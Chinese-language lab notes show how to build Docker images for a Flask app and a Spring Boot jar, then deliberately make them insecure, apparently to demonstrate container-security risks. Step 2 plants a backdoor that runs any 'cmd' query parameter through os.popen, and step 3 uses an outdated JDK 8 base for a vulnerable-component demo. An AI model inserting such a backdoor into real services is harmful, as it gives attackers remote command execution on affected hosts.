1、构建制作镜像
Dockerfile:
FROM ubuntu:22.04
# 安装必要的软件包
RUN apt-get update && \
apt-get install -y python3 python3-pip python3-venv && \
rm -rf /var/lib/apt/lists/*
# 创建虚拟环境
RUN python3 -m venv /opt/venv
# 使用虚拟环境的 pip 安装依赖
COPY requirements.txt .
RUN /opt/venv/bin/pip install --no-cache-dir -r requirements.txt
# 复制应用代码
COPY app.py /opt/app.py
# 设置环境变量
ENV FLASK_APP=/opt/app.py
ENV FLASK_ENV=production
EXPOSE 500
# 设置虚拟环境的 Python 作为入口
ENTRYPOINT ["/opt/venv/bin/python", "-m", "flask", "run", "--host=0.0.0.0"]docker build . -t mywebsample
docker run -p 80:5000 mywebsample2、不安全的镜像
在上述 Docker 镜像中,加入隐藏后门调用
cmd = request.args.get("cmd")
os.popen(cmd).read()3、不安全三方组件
# 使用官方 OpenJDK 8 镜像作为基础
FROM openjdk:8-jre-alpine
# 设置维护者信息
LABEL maintainer="your-email@example.com"
LABEL description="JDK 8 Runtime Environment for Java Applications"
LABEL version="1.0"
# 设置工作目录
WORKDIR /app
# 创建非 root 用户运行应用(增强安全性)- Alpine Linux 方式
RUN addgroup -g 1000 appgroup && \
adduser -u 1000 -G appgroup -D appuser
# 将 jar 文件复制到容器中
COPY SpringBootThymeleaf49-0.0.1-SNAPSHOT.jar app.jar
# 设置文件权限
RUN chown appuser:appgroup app.jar
# 设置环境变量
ENV JAVA_OPTS=""
ENV APP_JAR="app.jar"
# 切换用户
USER appuser
# 暴露端口(根据你的应用调整)
EXPOSE 8080
# 启动应用
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS -jar $APP_JAR"]docker build . -t myjar
docker run -p 8080:8080 myjar